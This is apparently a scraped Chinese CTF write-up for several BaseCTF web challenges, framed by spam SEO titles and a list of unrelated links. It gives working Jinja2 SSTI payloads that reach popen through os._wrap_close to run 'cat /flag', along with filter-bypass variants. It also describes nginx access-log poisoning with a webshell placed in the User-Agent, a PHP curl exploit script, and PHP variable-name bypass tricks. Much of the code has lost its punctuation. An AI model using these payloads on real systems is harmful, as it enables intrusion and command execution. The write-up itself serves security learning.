当前位置: 首页 > news >正文

如何查询网站备案号网站开发人员趋势

如何查询网站备案号,网站开发人员趋势,学网站开发有前途吗,网站重做复读机 输入的东西会在下方显示出来#xff0c;wp说是简单的SSTI#xff0c;这里来学习一下SSTI SSTI模板注入 根据My4n师傅的《超详细SSTI模板注入漏洞原理讲解_ssti注入-CSDN博客》写的 用户的输入返回时会经过一个模板渲染#xff0c;SSTI漏洞就是用户插入了可以破坏模板…复读机 输入的东西会在下方显示出来wp说是简单的SSTI这里来学习一下SSTI SSTI模板注入 根据My4n师傅的《超详细SSTI模板注入漏洞原理讲解_ssti注入-CSDN博客》写的 用户的输入返回时会经过一个模板渲染SSTI漏洞就是用户插入了可以破坏模板的语句导致了敏感信息泄露、rce等问题。 不同的语言会有不同的模板框架。 在这些框架中存在很多类包括可以做到RCE的类。 所以我们的目标就是要通过模板操作到可以进行RCE的类 那么我们输入什么才会被当成模板注入呢 因为模板渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{2*2}}会被解析成4所以我们需要用  {{恶意代码}}  的形式来进行SSTI 所以{{2*2}}也被用作检测SSTI漏洞的方法 知道了这些就可以通过魔术方法找到rce的类并rce获取flag __class__ 返回类型所属的对象。 __base__ 返回该对象所继承的父类 __mro__ 返回该对象的所有父类 __subclasses__() 获取当前类的所有子类 __init__ 类的初始化方法 __globals__ 对包含(保存)函数全局变量的字典的引用假设我们知道一个当前类通过__class__返回对象然后用__mro__或者__base__返回父类直到父类为object类所有的类都是object类的子类再用__sublasses__返回所有的子类这样就能找到存在rce的类啦 以下是一些当前类的表示方式 .__class__().__class__[].__class__.__class__{}.__class__ ctfshow_web361  所以我们可以构造{{.__class__.__base__.__subclasses__}}查看所有类 可以进行rce的类是——os._wrap_close所以我们需要找到这个类的序号 可以复制粘贴去记事本搜索os._wrap_close一下具体的位置一般在130多我这里是132 之后用__init__初始化这个类用__globals__寻找popen函数后可以直接命令执行记得最后要加一个read() 构造 ?name{{.__class__.__base__.__subclasses__()[132].__init__.__globals__[popen](cat%20/flag).read()}} 这个格式稍微要记一下目前只知道可以用os._wrap_close的popen  popen后的括号里直接写命令不需要system 说了这么多也只是浅浅入门SSTI之后还会有关于SSTI的绕过这道复读机就是 回到原题这里我就整理一下官方wp前面写的太多了 1.是过滤了{{}}、替换成{%print%} 3.用[]替换. 2.过滤了斜杠和反斜杠要读取flag只能通过其他函数拼凑一个/ 有三种方法 利用 chr 函数来构造出一个命令 第一行让chr字符串等于chr函数 第二行让cmd等于cat /flag 第三行就正常输出 BaseCTF{% set chr [__class__][__base__][__subclasses__]()[137][__init__][__globals__][__builtins__][chr]%} {% set cmdcat ~chr(47)~flag %} {%print([__class__][__base__][__subclasses__]()[137][__init__][__globals__][popen](cmd)[read]())%} 利用环境变量的值 查看环境变量可以看到 OLDPWD/ 直接利用它来切换到根目录然后再读flag BaseCTF{%print([__class__][__base__][__subclasses__]()[137][__init__][__globals__][popen](cd $OLDPWD;cat flag)[read]())%} 利用 expr substr 切割出一个 / pwd 中的第一个字符就是 / 那用 expr substr 切割出来后之后就可以像上一个方法那样切换到根目录然后读 flag 了  BaseCTF{%print([__class__][__base__][__subclasses__]()[137][__init__][__globals__][popen](apwd;aexpr substr $a 1 1;cd $a;cat flag)[read]())%} 滤个不停 有几层过滤终点是include()说明这里最终要往文件包含靠。 我们先一层一层看 第一层很简单就是post一个HelloWorld。 第二层是一个匹配过滤就是说我们上传Datch的参数必须要包含s, e, v, a, n, x, r, o所有字母并且要做到你上传的参数能够执行文件包含。 而且后面还过滤了很多伪协议这里只能试试日志注入了 日志注入 (这里是我之前写的关于日志注入的笔记) 令人惊喜的是         日志注入要上传的Datch/var/log/nginx/access.log居然包含了上面所有的字母看来就是这么个考点 我们在ua上传一句话木马并构造/?Datch/var/log/nginx/access.log进行日志注入然后就可以命令执行啦 玩原神玩的 分析一下代码 首先是一个$len我们要上传len使len[]的长度和array[]的长度相等。 但是我们并不知道len的长度为多少不过连续post数组就会默认添加到后一位 但是有几位呢 这里直接跳了tip比较简单 之后能要post两个m一个值为100%第二个是love100%加上第一个值的md5哈希值 post的时候记得url编码一下 最后得出这么多md5值分别就是flag的每一个的字符的md值 这里可以写一个脚本爆破思路是这样的 循环遍历每一个字母如果字母的md5值与位置数的异或等于之前给出的md5值那么就确定了一个flag的字母。 脚本如下官方脚本 for ($ii 0; $ii count($md5_array); $ii) {for ($ascii 0; $ascii 256; $ascii) {if (md5($ascii ^ $ii) $md5_array[$ii]) {$flag . chr($ascii);break;}} } exp ?php highlight_file(__FILE__); include flag.php;$challenge_url http://challenge.basectf.fun:42801/?; $post ; for ($i 0;$i 45;$i) {$post . len[] . $i . ; } // $_POST[len] sizeof($array)$get tip . 我要玩原神; // $tip ! 我要玩原神$post . m[] . urlencode(100%) . m[] . urlencode(love100% . md5(100%)); echo br . URL: . $challenge_url . $get . br; echo POST Data: . $post . br;$curl curl_init();curl_setopt_array($curl, [CURLOPT_URL $challenge_url . $get,CURLOPT_RETURNTRANSFER true,CURLOPT_ENCODING ,CURLOPT_MAXREDIRS 10,CURLOPT_TIMEOUT 30,CURLOPT_HTTP_VERSION CURL_HTTP_VERSION_1_1,CURLOPT_CUSTOMREQUEST POST,CURLOPT_POSTFIELDS $post,CURLOPT_HTTPHEADER [Content-Type: application/x-www-form-urlencoded,], ]);$response curl_exec($curl); $err curl_error($curl);curl_close($curl);if ($err) die(cURL Error #: . $err); preg_match(/\[\(.*?)\\]/, $response, $matches);if (empty($matches)) die(Invalid JSON); $json [ . $matches[1] . ]; echo MD5 Array: . $json . br; $md5_array json_decode($json, true); $flag ;for ($ii 0; $ii count($md5_array); $ii) {for ($ascii 0; $ascii 256; $ascii) {if (md5($ascii ^ $ii) $md5_array[$ii]) {$flag . chr($ascii);break;}} }echo Flag: . $flag; EZ_PHP_Jail 首先是GET一个Jail_by.Happy这里估计是一个php变量名的考点 php非法字符转化规则 php在8.0版本之前传变量的时候如果变量含有空格、、.、[这些会变成_ 但是如果第一个是[那么后面的字符就不会被改变 这里就成功绕过了 然后是一个绕过绕过Jail变量的参数 过滤了$ c a s require include说明不能使用cattac和文件包含 不过文件包含还有highlight_file可以用 还有很多读目录函数没用比如print_r(glob(/*));读取根目录 [4]是flag 我们构造 ?Jail[by.Happyhighlight_file(glob(/*)[4]); 奇怪的是官方wp里给出的是 ?Jail[by.Happyhighlight_file(glob(/f*)[0]); 也可以读取flag有没有大佬知道这个是怎么回事QAQ 小结 本来想week3和4一起写的谁知道SSTI写了这么多QAQ 主要涉及到的知识点有SSTI、日志注入、命令执行、php字符非法字符转化学到了新东西也复习到了旧东西
http://www.hkea.cn/news/14296801/

相关文章:

  • 群晖可以做网站吗招商网站建设全包
  • 南京手机网站制作公司做游戏音频下载网站
  • 专门做各种产品测评的网站asp网站源码安装流程
  • 合肥网站推广优化公司个人网站logo
  • 视频网站直播怎么做的企业手机网站建设信息
  • 佛山市研发网站建设哪家好网站开发时自适应
  • 下列关于网站开发中网页上传和武夷山网站定制
  • 无锡网站制作公司哪家好廊坊seo整站优化软件
  • 网站建设售后回访话术东莞市广建建设工程有限公司
  • 网站建设年度报告注册google账号
  • 住房和城市建设厅网站2016企业网站建设方案
  • 河南专业网站建设公司排名中小企业建站是什么
  • 临海钢结构设计网站wordpress安装不了主题
  • 做网站智能工具中国建设银行网址是什么
  • 烟台网站建设4038gzs培训教育机构
  • 自动注册wordpress账号软件google企业网站seo
  • 苏州知名高端网站建设企业大庆今天最新公告
  • 河北省城乡和建设厅网站首页阀门公司网站建设
  • 阿瓦提网站建设项目投资
  • 织梦做的网站有哪些小程序制作软件下载
  • 免费网站建设福州工作室网站建设的意义
  • wordpress建站腾讯云现在pc网站的标准一般是做多大
  • 网站开速度 流失网站开发之前前后端不分离
  • 可以做系统同步时间的网站制作商城公司
  • 基础型网站价格网站设计中怎么做二级页面
  • 企业做网站平台的好处设计师个人主页
  • 深圳住房和建设局网站官网打不开综合门户网站什么意思
  • 在哪找专业做淘宝网站wap网站解析
  • 怎样营销网站建设江门seo推广公司
  • 摄影网站源码 国外什么网站做旅行计划